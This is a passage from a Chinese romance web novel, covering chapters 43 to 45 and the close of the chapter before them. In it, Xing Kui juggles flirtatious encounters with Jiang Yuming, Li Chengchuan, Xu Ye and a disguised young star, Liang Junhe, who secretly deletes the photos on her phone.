话痨男自傲仰头,他就绝对不会中邢葵低级的战术,和厉哥反目的事绝不会在他身上重演:“啊!” 酒精碰及破损之处,剧烈的刺痛直冲天灵盖,话痨男一把捧住邢葵的脑袋。 假如有第三人路过,看着一男坐、一女蹲、男捧女头按胸口的画面,必定会想歪。 校内,京江大学校长跟随在厉乘川旁边:“感谢厉总为学校捐赠的这批教学设施,我校每年都有幸能得到鼎天的大力资助。” 厉乘川不喜虚与委蛇,跟在他身后的助理陈泉代说道:“校长客气,贵校每年都稳定向鼎天集团输出人才,我们也十分感谢。” 一声破音的尖叫吸引三人注意。 校长望了眼声音来源:“是我校医务室,正值春季运动会,许是有学生受伤了。” 陈泉:“叫这么大声,伤得不轻吧。” 校长:“是啊,厉总,不介意的话,我想去看看。” 厉乘川也转向叫声发出的方向,冷厉的面容上英眉微蹙,觉得声音有点熟悉。 医务室内,邢葵被话痨男手拍住头,短暂地懵了懵,继续擦酒精。 “都说了会疼啦,忍一忍哦,马上就好了。” 说话气息扑在话痨男敏感的肌肤,他不自觉地仰着脸,纱巾下耳朵变成赤色,口罩上下起伏。 痛,痒,折磨,无法思考。 幸好屋子里没第三个人。 邢葵也在想,被话痨男按着头,他粉色的纽扣距离她过近,她想不看清楚每一点细节都不行,粉、硬,她的神经好似也被雾笼罩。 正在这时,身后传来声响。 “好孩子,偷偷做什么呢?” 脑后响起撩人的声音,随风送来的玫瑰香拨散迷雾,话痨男吓得松开她,拢起桃粉色衣裙,邢葵也扭过头。 下班过来接她的江玉鸣伏在打开的窗口,笑眯眯地望着他俩,身旁还跟着许野,一个笑,一个不笑;一个仿似撞见的场景稀松平常,一个如遭雷击呆滞震惊。 江医生向她招招修长的手,“过来,我刚巧在路上碰见许野,他说你受伤了,让我瞧瞧。” 邢葵走过去,臀依然有些痛,下意识碰了碰:“还好,没事。” “那回家吧。”江玉鸣睨了眼屋内装扮严实的话痨男,没听见声音没认出是谁,只当是不知天高地厚的路人甲。 竟然敢……他都没…… 不过当前有更棘手的麻烦,江玉鸣刚才瞥见,厉乘川正在过来,想必邢葵一走出医务室就能与他邂逅。 她还正好私密部位疼,多适合发展出一段恋爱故事……休想。 江玉鸣伸手,要从窗口把邢葵捞出去,邢葵不懂为何走窗不走门,但性子柔顺,倒也配合,抬起腿,膝盖跪上窗台,接着,两只炽烫的手一左一右同时揽住她的腰。 “我力气大。”左边,许野表情僵硬,受方才“话痨男捧头抵胸”那一幕冲击,小麦色硬朗的脸紧绷,腮上泛着一抹红,他也不懂为何不走门,是条件反射帮忙。 “抬邢葵需要多少力气。”右边,江玉鸣眯起眸子,打量的视线在许野脸颊徘徊,似笑非笑,“你不信任兄长?” “不是,我……” “却信任一个路人,将邢葵留在这里与他共处。”江玉鸣做作捂心,“这样兄长可要伤心的,难道在你眼里,兄长会觊觎兄弟的女朋友吗?” 许野怔怔:“不是,我……” “难道在你眼里,兄长是会不顾兄弟情义、对兄弟心上人垂涎欲滴的贱皮子吗?” 他声声质问,许野被他说得赧然,旁听全程的邢葵紧紧抿嘴角,按捺吐槽冲动。 早上出门江玉鸣咬舔她手腕的样子她还记得,那叫一个风情万种,在这儿振振有词装清白,一言难尽。 “别耽误兄长时间,邢葵,不如你选吧?要谁?”江玉鸣凑到她的耳边,声音压得很低,平稳的呼吸送进她的耳畔,“受伤了要补营养,家里有上好的奶,何必在这儿饮杂牌,我真心疼葵葵,我们回家好好喝。” 啊?什么奶?奶什么?回家喝什么?等会儿?啊? 第43章 她刚刚是在给话痨男消毒!才不是在喝……!邢葵反应了一会儿,才领会江玉鸣话中内涵,埋低脑袋,羞愤地红了脸。 有嘴说不清,她扭头试图找话痨男当人证,医务室意外空荡荡,那位娇娇小王子早趁他们交流溜了。 邢葵两眼一黑,话痨男有体检报告,又是许野朋友,可以推得话痨男也是厉乘川的朋友之一。 他大概是不想被江玉鸣认出来才跑掉吧,邢葵记得喜宴上话痨男说过,他打扮成那样是为躲家里人…… 嗯,江玉鸣是像会打小报告、给他自个儿找乐子的。 邢葵羞恼地瞪了瞪江玉鸣,仔细想想,江医生不可能联想不到是在消毒,人许野都没误会,他就是刻意讲这么暧昧,一天不浪痒得慌是吧。 窗户前,邢葵推开江玉鸣漂亮的脸,谁都不选:“都不许动手,我自己翻。” 江玉鸣配合她的推撇脸,优越的鼻梁下,魅惑的唇勾起笑弧,眸子视线偏爱地落在邢葵一人身上。 她害羞时面目会生动起来,摆脱掉伤疾带来的病恹。她用双手按紧一边窗框,挪腿、放腿、下移,因为腿伤,动作并不流畅。 却也不算慢,憋着一股劲,展现着一种“我谁都不需要,看我精彩操作”的傲气。 可爱极了,江玉鸣狭长的眼眸更弯,直到最后一步从窗台落地容易崴脚,他才不放心地去搭手。 然而,有人又和他同了步。 邢葵坐在窗台,左肘右肘分别被许野和江玉鸣搂住,无奈脸:“你们究竟想怎样呀?不会又要让我选吧!” 江玉鸣看向许野,眸子意味深长地眯了眯。 许野看向江玉鸣,浓眉紧皱,他刚才看见江玉鸣配合邢葵,亲昵自然,总觉得这位哥哥说的和做的不一样。 “你俩互看什么呀。”生活不易,邢葵叹气,干脆不等他们回话,同时借助二人的手力量支撑,自己往下跳。 双脚稳稳踩上地面,邢葵抓抓帽檐,脑子里还装着江玉鸣开的喝奶玩笑,脸颊盈满热意,“回家吧回家吧。” 要做自媒体的素材拍了不少,不想再听江玉鸣说奇怪的话,她落荒而逃。 匆匆逃跑的背影逐渐消失在视线里,许野眉心皱紧,凭借直觉问道:“江哥,为什么是你来接她回家?” 身为兄弟,一下班,千里迢迢赶来接另两位兄弟的前未婚妻兼现任女友,这是符合常理的吗? 江玉鸣表情散漫,漫不经心地吹散窗台灰尘,吹去邢葵爬窗的痕迹,突然像变了个人,嫌麻烦似的:“嗤,还不是周镜,托我照顾她,害我下班 后都没有自由时间。” 原来如此,许野松了口气,是他误解了哥哥:“她应该很好照顾。” 江玉鸣弯唇笑,确实,烧饭、洗衣,都是他倒贴着非要做,他耸耸肩,没回答:“总之,这件事,你不会告诉厉乘川,对吧?” 许野低下头,不确定,话痨男前几日才跟他说,任何事都不能隐瞒兄弟,跟江哥的要求矛盾。 “你也不想影响我们兄弟感情吧?” 对,这更重要。许野硬着脸点头:“我明白了。”有些事是可以瞒的,他悟了。 江玉鸣漂亮的眉挑了下:“你还喜欢邢葵?” 许野眼神局促地闪了闪,操着粗糙的嗓子中气十足回复:“江哥放心,我管得住自己。” 医务室外,穿着桃粉色裙子的话痨男猫着腰,蹑手蹑脚往整栋楼外走。 丢死人咯,他捧着哥哥们前未婚妻兼现女友的头,让她看了他的纽扣,还被江玉鸣撞见了! 他得赶快逃,江哥爱看热闹,要是识别出他的身份,定会将事情曝光给其他哥哥,尤其是厉哥,绝对不要啊。 厉哥?! 迎面,厉乘川、助理陈泉、校长三人走来,话痨男拔腿就跑。 “站住。” 不能站住,他心虚!而且厉哥抓到他,肯定会通知他姐! “再跑我这就打电话给你姐。” 完蛋!话痨男猝地停下,僵硬撤身,顿了三秒后,抬起两指放到额头旁,故作轻松,比了个打招呼的姿势:“嗨,好久不见。” 过道,厉乘川迈着长腿,走向话痨男,后者对自己狠得下手伪装,厉乘川也是先听见熟悉的声,才能认出人,扫了眼话痨男离奇的打扮:“之前鬼叫什么?受伤了?” “我就知道厉哥会关心我。”话痨男感动,想去抓厉乘川的手,被厉乘川躲开,他丝毫不介意,继续去抓,厉乘川再躲,他再抓。 洁癖的厉乘川着实无法忍受,闪身躲到陈泉身后:“站正了回答!” 话痨男立正敬礼:“Yessir!”至于问题答案……立正不过一秒,话痨男迅猛趴上陈泉的肩,直勾勾对厉乘川,“哥,我为什么叫,都是因为你那个未婚妻太过分了! 到处撒网撩人,刚在操场和一个黄毛外国人眉来眼去,我撞见真一点都忍不了,我想到哥&*#&%……” 什么?厉总有未婚妻了?! 校长惊愕地吃了口大瓜,看向陈助理,陈泉弯着嘴摇摇头,没想到吧嘿嘿,他先前听说的时候呆了好几天。 鼎天集团经营范围涉酒店、百货、地产等等,厉乘川,毫无争议的南州首富,他的婚事足以引起全国瞩目。然而,他的未婚妻竟然劈腿? 校长捂住嘴看向厉乘川,他竟然没什么反应,俨然不把话痨男的话当回事,只有听见话痨男说,他去吓了他的未婚妻,厉总才稍蹙眉头。 “我说过很多遍,不是她的错,你耳朵聋了吗?” 校长:啊? 都大庭广众下撩拨男人了,还能不是未婚妻的错,厉总的滤镜也太厚了吧。 话痨男甩甩手:“知道了知道了。”知道哥是不好意思承认,“哥你放心,我#%#%&……” 厉乘川额角青筋跳起:“说重点。” “所以我太气愤了,就叫了声。”话痨男拉下墨镜,露出一对写满真诚的桃花眼,不待厉乘川细瞧就推回墨镜,“所以我没受伤。” 厉乘川胸口微微起伏两下,忍耐被浪费掉人生五分钟时间的怒意,随后径直穿过话痨男,走向医务室,想去看看邢葵。 身后,话痨男悄悄抹了把额角汗,他吧啦吧啦说了一堆,看似对厉乘川不存隐瞒,实则跳过了纽扣那段。 这件事就不提了……话痨男瞄瞄医务室,哥哥们要是听说他受了这样的委屈,绝对会为他的遭遇生气,他这么冰清玉洁、打小连女生手都没碰过的人,被如此欺侮,厉哥若是得知,绝对会让对方见血。 哼,邢葵,你就庆幸吧,他虽然想惩罚你,但没想让你出血,他替你瞒着。 医务室门打开,室内空无一人,唯独窗户大开,三只麻雀在窗台上唧唧啾啾地打架。 “啊!我忘记买奶油卷了!” 校门口,邢葵站在平平无奇的灰色小轿车前,突然想起她今天来京江大最开始的目的,啪地拍手。 “现在去买?”江玉鸣走向驾驶座的步伐停下。 “来不及了。”邢葵看看手机时间,“这东西卖得火,算了,下回有机会吧。” 这东西的确卖得火,食堂人挤人,一道军绿色矫健身影穿梭过乌压压的人群,冲到点餐窗口:“还有玉米奶油卷吗?” “等等!” 邢葵按上车把手,还在遗憾没吃到玉米奶油卷,忽然听到许野声音,转过身,远处,许野拎着一个塑料袋向她跑来。 如同脚踏疾风的猎豹,高大的身体运动,碎发也随之在阳光下晃动,额间的汗沐着光线,整个人灼眼耀目。 冲到她面前,许野一只宽厚的手掌按住腿,弯着腰气喘吁吁,另一只拿着袋子的手抬起来,“给、给。” 邢葵接过来,低头看。 许野喘着气,撩起眼皮偷偷看她。 袋子里装的玉米奶油卷,好多个,邢葵眼睛刹那发亮:“你怎么知道我没买到!谢谢你!” 许野用力下撇嘴角,止住唇角上扬,褐瞳装着邢葵的笑脸。 “太谢谢你了!”许野瞧着五大三粗,还挺细心耶,邢葵惊喜不已,“要多少钱?我转你!哦对,你把我删了,能重新加一下吗?还是你给我个收款二维码?” 重新加好友……许野愣神,车旁边,江玉鸣正盯着他,他当场肃脸厉声拒绝:“不用,你非要给就转给江哥,让他再转我,我走了,还有比赛。” “也行,祝你比赛顺利。” 许野奔走,邢葵挠了挠耳后皮肤,不理解,她是洪水猛兽吗?干嘛对她退避三舍,二维码扫下半分钟的事。 指节轻扣金属的声音响起,江玉鸣胳膊懒散地搭在车门上,冲她轻挑地笑:“真过分呢,你跟我要微信那会儿,我可是没犹豫地给了。” 邢葵半抬头回忆,那时她还在住院,厉乘川一直阻止,然后江玉鸣就站在厉乘川身后笑,万分欠揍,犹豫是没犹豫,他当戏在看。 拳头硬了:“不许笑,你不也是背着厉乘川偷加的吗?厉乘川还不知道呢吧?” “我不知道什么?” 妈妈!邢葵全身一震,厉乘川低沉的音线钻进耳朵,她心脏也跟着沉下去,说曹操曹操到,厉大总裁竟出现在京江大,她张张嘴巴:“嗨,好久不见。” 她和话痨男的表现一模一样,心虚,佯装从容。 厉乘川迈腿走近,猜测邢葵或许在校门口,他立即从医务室赶了过来,孰料一来便听见邢葵有事相瞒。 黑西装束着身体,厉乘川呼吸稍有急促,无论如何,是好几日没见到邢葵,她近期总待家里。 他想念她,厉乘川压抑着贪婪望着邢葵,克制着用视线描摹她的念头,再次询问:“我不知道什么?”除了和周镜恋爱,他还有什么不知道的? “啊这……”车边上,江玉鸣对邢葵弯了弯嘴角,勾出一个冶艳的笑,似乎也在等她回答,好好好,他又看她的戏,回家看她不打他。 捉摸不透厉乘川究竟听到多少, 邢葵深吸一口气,索性坦白从宽,“我说了你别生气,我背着你和江玉鸣加了微信。” 厉乘川捏起拳头:“嗯。” 就一个“嗯”?邢葵讶然:“你不生气?我还以为,你挺介意我和你朋友们接触。” “介意。”但比起她和周镜交往,这件事轻太多了,厉乘川甚至放松了些,“你前段时期总是腿疼,加一下江玉鸣,能及时联络他咨询也好。” 可不是前段时期加的哦,邢葵战略性闭嘴。 厉乘川没向邢葵发难,这件事在他看来,江玉鸣更有问题。加了邢葵,却一丝一毫都没向他透露,包括今天,江玉鸣来接邢葵也没告知他。 “干什么这么看我。”江玉鸣状似蒙受冤屈,他原意避开厉乘川,既然还是碰上了,那开演吧,“老厉,你不会觉得我跟周镜一样,心思不净吧?我是怕你思虑过多,才没告诉你。” 邢葵:“……”早上咬她手腕的是哪位? “这样,我们坐你的车回去,你看着,省得你觉得我对她有什么。” 厉乘川车里,坐到邢葵左边的江玉鸣压低音量,“你伤到臀,坐他的车舒服。” 邢葵无言以对,行吧,江玉鸣胡说八道蹭厉乘川的好车,居然还有为她着想的意思。 “我不觉得你们两个有说悄悄话的必要。”右边,厉乘川冷眼睨过来。 邢葵腰上一热,是左边江玉鸣手掌偷偷按到了她的腰窝,犹如在阴晦中宣誓主权。 “当然有必要了,医生和病人间有很多话都需要保密,邢葵,你说呢?” 右边厉乘川倒没离邢葵很近,可他身上透着难以忽视的压迫感,一左一右,邢葵感觉她又变夹心了,往椅背靠了靠,气恼地压住江玉鸣的手。 江玉鸣眸中划过笑意,她这么软,哪能压到他疼,伸出拇指,刮蹭她腰后凹陷。 邢葵咬住牙,不是乱摸,是按摩,但这个时候按摩很难说他不是故意的。 酥麻从皮肤而起,渗进血肉,她低头,小声地和厉乘川道:“是的,是有秘密,事关我伤到的地方。” 厉乘川稍怔,看了眼坐驾驶座的陈泉,怕邢葵不好意思,升起挡板,斜身靠近她:“你伤到隐私了?要不要去医院?” 光线昏暗,厉乘川手掌按到椅面,指尖不小心接触她的大腿侧边。 邢葵红脸:“没、没事,我回去喷喷气雾剂,就是你碰到的地方。” 江玉鸣危险的声音荡过来:“谁碰到的地方?” 第44章 好问题,好难回答的问题。 出院时,医生给邢葵开了一种叫清脑复神液的药物,用于治疗脑震荡,她这会儿急需喝一瓶。 邢葵头皮发麻,逼仄的车内,左边江玉鸣手正抚着她的腰,右边厉乘川指腹无意间落在她的大腿,然后江玉鸣还问是谁碰到的地方…… 厉乘川不清楚江玉鸣的小动作,所以这个问题,其实是江玉鸣意识到厉乘川碰到了她,在明目张胆地点他,是吧? 果不其然,被这般一问,厉乘川指尖犹如过电般滚烫,瞬时收手,五指回到他自己大腿,连着西装裤按陷腿肉,黑如夜的眸子上睫毛都颤栗起来。 邢葵心生窘迫,在黑暗中踩上江玉鸣的脚:欠打的,快处理啊。 江玉鸣眉峰挑起,倾身往厉乘川方向望去,眼神散漫,意味声长:“老厉,趁着黑摸人家姑娘,不合适吧?偷偷调情比较像我的作风。” 他说着,修长的食指一抬,亲昵戳了下邢葵腰窝。 好强大的心理素质,邢葵埋低脑袋,心想,江玉鸣去吃霸王餐,跟老板说给过钱,绝对能让老板深信不疑,还乐呵呵地送他小礼品。 厉乘川正按住手腕遏制颤抖,闻言冷睨江玉鸣:“少在她面前讲不三不四的话。” 江玉鸣悠闲嗤笑:“还怀疑我有不轨之心,某些人都摸人家大腿了。” 别演了你也不害臊,邢葵踩踩江玉鸣,反手给发烫的面颊降温,瞅向厉乘川,小声安慰:“没关系的,你别放心上,我知道你不是故意的。” 她尝试缓和气氛,打开放腿上的塑料袋,戴上一次性手套,拿出一只玉米奶油卷,递给厉乘川,“要不要尝尝?我今天去学校就是想买这个,网上很火的。” 这东西有点像玉米烙包奶油,又或者说玉米烙版泡芙,碳水加糖加油,很少可能不好吃。 厉乘川面对着却没反应,邢葵瞅了眼食物,恍然,人家洁癖,即便她用一次性手套拿的,但他不愿用手接。 她看看还有没有一次性手套,方要低头,厉乘川却先于她低下脸,张开线条清晰的薄唇,咬了一口。 包裹奶油的玉米烙缺角,奶油的香气溢出来,邢葵期待地注视:“好吃吗?” 油、甜,平时注重养生的厉乘川极少碰垃圾食物,也不喜欢,望着邢葵亮晶晶的眼睛,触碰过邢葵的指腹发热,认真点了点头:“甜。” 邢葵放轻松地弯眼:“那你——” 要说的话顿住,厉乘川又低头咬了口。 这洁癖怎么还要她喂呢!!! 她好像那种伺候皇帝的妃嫔哦,不对,旁边还有个手贴她腰的男人,换个比喻,她更像关心皇后的女帝,身旁是嫉妒皇后暗戳戳勾诱女帝的妖妃。 嗯,这比喻,爽了。 厉乘川一口一口地吃,可能是真的很好吃,肾上腺素增加,皮肤血管扩张,黑色碎发下的耳尖都漫起霞色。 可恶,她也想吃!快吃完啊他! “能不能快点?”身边的妖妃,啊不是,江玉鸣好同志替邢葵催起来,“你也不怕她举的时间长了,累着。” 厉乘川看向邢葵,邢葵速度晃晃脑袋,我没有,他说的,不关我的事啊! 她性子软,迅速滑跪,与江玉鸣撇清关系,本是一只手举的奶油卷,切换成两只手恭恭敬敬地举,脸蛋不施粉泽,双眸纯净,写满“你得信任我啊”。 厉乘川垂首,又咬了口奶油卷,玉米奶油的香气中,他狭长幽邃的黑眸跃过邢葵,睨向江玉鸣:“看来是我误解你了,邢葵完全不是你会钟意的类型。” 啊?邢葵微愕,她不是江玉鸣喜欢的类型? “他喜好超模,看过秀场视频吗?就是那种,气场充满攻击性的异性。” 啊?那早晨咬她手腕的到底是哪位啊?这会儿摸她腰的又是哪位啊! 江玉鸣笑容滞住少顷,又肆意绽开:“的确,邢葵这种软绵绵的有什么意思,也就周镜眼光差,好兄弟,你可千万不能误会我。” 邢葵:“……”硬了,拳头硬了,回家就揍你。 厉乘川听不得任何贬低邢葵的话,额角跳了跳:“别听他的,他眼光不好。” 邢葵猛猛点头:“嗯嗯。”总裁虽然管得多,但还挺会照顾人情绪。 月亮升起,晚饭时间到,电脑桌前,邢葵退出直播,暂停《见我星辰》第三十二集,走向冰箱,想看看有什么菜可烧。 平日江玉鸣有空会来给她准备早餐晚餐,不过今天他们和厉乘川一起回小区,江玉鸣不便当着厉乘川的面跟她回家,就先走了。 冰箱里有两颗番茄,可以炒鸡蛋,够了,她一个人吃不用费时间烧太多,运动会拍了许多外国人胡安的素材,晚上她还想挑一挑图、剪剪视频。 等待热水烧开给番茄去皮,邢葵回忆起跑道上的胡安,腿挺长的,没有许野长,腹肌,她后来被许野引走注意,忘了。嗐,男色误人,她瞅瞅胡安的素材复习一下吧。 点开手机相册……素材呢?她素材呢?怎么连张图都没有? 邢葵呆住,又去回收站看了看,垃圾箱也被清空了,哪个王八蛋干的! 锅里的水咕噜咕噜冒泡,邢葵咬住手指,确定她真拍了很多,她也不会梦游删图,从运动会到这时她还没睡过觉呢。 那唯一的解释就是有人趁她大意拿了她的手机。她在操场摔倒,此后接触的只有四个人:许野、话痨男、江玉鸣和厉乘川。 首先排除许野,他用双手抱她去的医务室,后来便去寻校医,除非他奇幻地有第三只手,否则他没可能拿到她的手机。 其次排除江玉鸣和厉乘川,前者虽说偷感极重,但都是对别人,对她还是坦率的;后者洁癖男,手机这种藏污纳垢之物,他拿之前得先戴手套。 所以,删她东西的只 会是一个人,话!痨!男!我讨厌你! “阿嚏。” 京江大附近,宽敞的租房内,拎着晚饭打包盒走进室内的话痨男打了个喷嚏,不明所以地解口罩。 黑色口罩下适合接吻的粉红唇瓣弯翘,他今日为兄弟们干了件伟大的事,他趁邢葵关注他的伤,删了她拍小四的内容。 这可是他用他的清白换来的!怎么能说不伟大呢?可惜不能与兄长们诉说,怕哥哥们为他不平。 “咚咚”,有人敲门。 话痨男停下解口罩的动作,心情好,脚步轻快地走到门前,打开门,陡然后退:“姐。” 门外面,一名穿着驼色西装的女性,长发扎成圆团,没有一点碎发,眼睛和话痨男一样是桃花眼,却显得浑然不同的冷,身后黑压压的黑衣保镖。 她伸出一个袋子:“去换衣服。” 话痨男接过,走向卫生间。 “别想从窗户跑,整栋楼都被我的人包围了。” “……”厉哥,这么快就捅出他了。 十分钟后,卫生间门打开,脱去假发、换上男装的话痨男走出,上下黄金比例,手随意插在镶嵌碎钻的黑色外套里,没有特别凹造型,却星芒四射。 戴着兜帽,隐约可见兜帽下的头发是桃花粉,墨镜遮目,粉嫩的唇瓣不爽抿着。 门口处的冷面女人转身,话痨男跟上,两排保镖向他恭敬弯腰。 特别定制的车辆前,保镖们为梁家少爷开门,话痨男坐到后排,梁昭然坐到副驾驶座,门一合上,她便冷冰冰开口:“爸对你很失望。” 话痨男靠到车窗,无所谓的态度:“他什么事对我不失望,我染个粉发他都要骂骂咧咧,我都说了我染粉头发是要招桃花。” 梁昭然哽住:“别太荒谬,总之,回节目组好好拍,别再作,替家里将最近花的钱挣回来,这事爸就饶过你了。” 话痨男皱住眉头,他先是利用许野拍的周镜抱邢葵图刺激周梨逃跑,再借周梨制造出的动乱避开家人监管,自己也成功跑掉。 但他跑不仅仅是想回国帮厉乘川:“拍可以,我不要和周梨炒cp。” “为什么不行?你回回参加采访,回回都要向公众说你要谈恋爱,和周梨炒cp正合适,憧憬爱情男、随地发疯女,公司做过调研,你俩炒cp对彼此事业都有助益。” “不要,我想谈恋爱那是真话,炒cp那是撒谎,我不要。”话痨男大声拒绝,他有他的原则,“而且别以为我猜不到,爸很想让我娶周梨吧?借此和周家联姻。” 话痨男靠在车窗,透过黑镜,看窗外月光,“我不在乎什么背景,姐,我只想和我真心喜欢的人在一起。” 梁昭然撑住额头:“这种天真的话少讲,你还要让多少人失望。” 话痨男撇嘴:“是是是,谁都对我失望,只要我未来老婆不会对我失望就行了。” 梁昭然无语:“那么请问我们家少爷,你未来老婆、我弟妹现在人在哪儿呢?” 话痨男陷入沉默,三秒后:“不理你了!” 他低头打开手机,决定找篇娱乐圈甜文看看,文里来救赎影帝/爱豆/歌星的女主,通常是经纪人、记者、糊咖等等身份,套路他都会背了,一定还有别的他没看过的。 反正不可能是兄弟的未婚妻邢葵,对吧? 怎么想到她了!话痨男飞快摇摇头,他才不要当海王网里的鱼,小说里的女主都身处逆境坚韧向上,这个邢葵车祸毁容还惹草拈花,她还亲口说她看过很多纽扣!很多纽扣! 话痨男越想越气,高频刷着某抖。 “爆新晋小生出逃节目组背后,据传是隐婚妻子怀孕。” “xx妇科医院惊现疑似梁君赫身影,大粉发文脱粉。” “家人们!有梁君赫初中同学出来发言了!这位少爷自小就娇气吃不了苦,疑似因觉得拍摄太苦罢工。” “梁君赫……” “梁君赫……” “梁君赫……” 有病!有病!有病!垃圾营销号乱造他谣,有本事将他隐婚妻子扒出来,他也想见见他老婆! “《见我星辰》男三号……网友评论得对,他演得真一般啦,就,我感觉他不入戏,男女主在那儿生离死别,他一脸‘屁大点事儿有什么好闹的’的感觉。” 对对对,你演得好,你上啊。 “但也不用因此诅咒他吧,我看到评论区的图了,说实话有点刻意截了,有的剧情就是需要他那样反应,他可能演戏缺乏感情,但看得出认真上过表演课。” 欸? 梁君赫愣了愣,看向屏幕。 画面中的女生戴着小黄帽、黑墨镜和黑口罩,声音也经过处理,依稀还能听出南方人的腔调。 “你们看这段,这段是男主主场,他是虚化的背景,其他几位都在发呆,就他还在配合剧情给反应,虚化了,我看不清他演得怎么样,但至少他态度是认真的。” 梁君赫长指撑住唇,一移不移地盯着屏幕中的人。 “我也查了,据说《见我星辰》就是他家投资的,如果是这样,他没演男主没演男二,演个男三还不要工资,那我觉得,他这样,可能,大概,还行?” “姐。”梁君赫忽地出声,“我好像恋爱了。” 梁昭然当他发神经,随便问:“那是哪位啊?” 梁君赫激动:“叫天天奇妙历险!” 梁昭然:“……” 那厢,天天奇妙历险本尊邢葵正在骂删光她素材的梁君赫,她讨厌他讨厌他讨厌他,那些素材够她发好久呢! 她忿忿难忍,气得心脏都直跳,烧开的热水不停发出泡泡破裂声,她心脏瓣膜也要破了。 收到信息,江玉鸣让她去开门。 邢葵气鼓鼓踏过去,拉开屋门:“不是喜欢超模吗?” 她直接挥出拳头,给了江玉鸣一拳。 江玉鸣被打得偏过脸,撇回头,笑着眼睛揽住她的腰:“谁惹我们超模葵葵生气了?告诉我,我给你出气。” 第45章 他像一条绮艳的蛇缠上她,吐着猩红的蛇信子,在家门口讲话容易被厉乘川撞见,邢葵转身,放江玉鸣进门。 “别叫我超模,看电视上真正的超模去。”往厨房走,邢葵摸了下自己的腿比划,“就是那种,腿特别长,能一脚踹断你的那种。” 江玉鸣随在她身后宠溺地笑:“长不代表力气,就像我们葵葵腿也不短,却没骨头似的,啊,可能是因为我亲酥了。” 邢葵倏地回身,双手捂住他那张说浑话的嘴,耳朵根都涌上热意,咬牙切齿:“你没亲过腿,不要造谣。” 覆在她掌心的唇阖张,热气吐洒她的手掌,江玉鸣风情的眸子泛着潋滟笑意:“我说的是嘴啊,葵葵想试试腿?” 邢葵触电般收手,羞恼地瞪他:“不想试!我要烧晚饭了,禁止再逗我。” 江玉鸣跟着她走,慢条斯理脱下外套:“你还没告诉我刚在气什么,告诉我,我来烧,一换一哦。” 厨房锅里烧着的水早就沸腾,切菜台上放着两个番茄、一颗鸡蛋,一看便知是要做番茄炒鸡蛋,仅仅一道菜。 装修有极简风,江玉鸣没见过吃饭也极简的,不管邢葵怎么答,他都决定他来烧。 可邢葵不清楚,江医生烹饪水平一流,单是听见“他来烧”她都口舌生涎,拿起番茄在掌心掂了下。 话痨男删掉运动会素材,是挺叫她郁闷,但说到底是件小事,对方隐匿行踪,好似身处棘手麻烦,她不会多话,就当她刮伤他的赔偿吧。 “就是气某个喜欢超模还成天勾引我的男人呗。”邢葵半真半假地道,“正好我自媒体缺素材,我心里本来就烦。” 她双手捧着番茄递送到江玉鸣身前,乖乖的,“答完了,烧吧。” 额头被轻轻推了下,江玉鸣接过番茄,步到切菜台前面,从刀架上取刀,在番茄顶部划十字:“是 我惹了葵葵,那我给葵葵赔罪,缺素材?我帮你想……白天的玉米奶油卷不就是素材吗?” “那个只能发一条帖,不够用。” “只能发一条帖?我觉得未必呢。”江玉鸣笑起来,将番茄放进沸水,“许野奔跑着为你买来玉米奶油卷,可以发一条,你喂厉乘川,又可以发一条,现在,还可以发一条。” 邢葵:“啊?什么意思?” 江玉鸣:“去拿一个过来。” 邢葵立刻去取,边开冰箱边感叹,江玉鸣人可真不错,不但襄助她解决催婚,连自媒体也能帮出主意。 和周镜分手后的这段时日,虽说江玉鸣总是诱惑她,可事实上只要她表现出真正抵触,就绝不会强迫,否则,也不可能到今天他俩只亲过两回嘴。 取到玉米奶油卷返回,邢葵兴冲冲的:“还能怎么发?快教教我。” 江玉鸣已经去掉番茄皮,水龙头流下的清水流淌过他连指甲都好看的手:“奶油卷、我、你,你想不到吗?” 邢葵懵:“我能想到什么?” “哦,那你就能想到亲手喂厉乘川。”江玉鸣抬眼看她,“还是当着我的面。” 他的妒意在抬眸瞬间直白展露,仿佛从车上到此刻,已积压沉淀多时,在这一刻全数撞进邢葵眼帘,她思考一息,举起玉米奶油卷:“你也要我喂?那吃吧。” 金黄的玉米距离江玉鸣红唇一寸,墙壁上的钟显示七点四十分,“你来我家前吃过晚饭了吧,这会儿还吃得下吗?” 江玉鸣盯了眼在唇边的食物,俯视她,嘴角上弯笑弧:“吃不下,但你不是还没吃晚饭吗?我尝尝味道就好。” 邢葵:“等——”等会儿?她没吃跟他尝味道有什么联系? 江玉鸣低头,咬了口玉米奶油,冶艳的美人脸忽地放大凑近邢葵:“葵葵张嘴,让我亲一下,看在这顿晚饭的份上。” 邢葵:“!!!!!!” 他不是要她喂他,而是要他喂她、她再“喂”他!比厉乘川多一层! 一时间邢葵都忘记呼吸,江玉鸣生得真极具攻击性,像那种八九十年代的明星,五官大气抓眼,一接近让人完全移不开眼神。 不怪江玉鸣以前会说他喜欢超模,人会偏好自己的长相风格,气质亦然。 他的唇上厚下薄,咬着玉米奶油,玫瑰味、玉米味、奶油味一同往往邢葵鼻息唇齿里钻,如无声的蛊惑,刺激饥饿感滋生,从胃上升至头脑。 邢葵脑子嗡嗡的,如一千只小蜜蜂在额叶颞叶中振翅:“我饿了。”还没吃晚饭,不可以亲太久哦。 她红着脸覆上江玉鸣的唇,江玉鸣弯唇笑,长长的舌尖将奶油顶进她的唇中。 喂食短暂又香甜,少顷,江玉鸣鼻尖抵了抵她的鼻尖,喷洒在她唇瓣的呼吸湿热,在结束后呼吸也好似在和她啄吻。 “好了,烧晚饭去,这样我就能发三条帖了。” 一条写许野帮她买,一条写她喂厉乘川,一条写……“等等。”邢葵转身准备去编辑帖子,又转回来,揪住江玉鸣衣领。 “厉乘川会看我的账号内容,我根本不能写你喂我!江玉鸣!你忽悠我!” 被她扯着衣领的人舔唇笑,艳丽得好比夏日正午时分的阳光,炽热耀眼。 邢葵唇都发抖,憋了半天话,最后大声一“哼”,甩头就走,手脚同步,“好好烧饭,我要三菜一汤,我去忙了。” 冰箱门打开,骨节分明的手指取出菠菜莴笋,江玉鸣细不可闻地哼着歌,走回切菜台,拿着手机点开备忘录,打开一条标题为“玫瑰花emoji+TOP1”的笔记。 笔记里只有两行文字: 2/40, 0/7。 江玉鸣哼着歌,将“2”改成“3”,收起手机,继续心情美好地烧菜。 卧室,邢葵在电脑桌旁坐下,拍拍热烫蒸腾的脸颊,先以玉米奶油卷为主题发了条帖,讲述她去京江大偶遇校霸男的经历。 随即马不停蹄唤醒电脑,她的账号正处新人发展期,必须要保持稳定更新,运动会的素材没了,好在她下午直播看剧时录了屏,得尽快将视频剪出来。 打开pr新建工程,导入素材,和学西语一样,剪辑这项技能,邢葵上大学那会儿为了给未来加分也自学过。 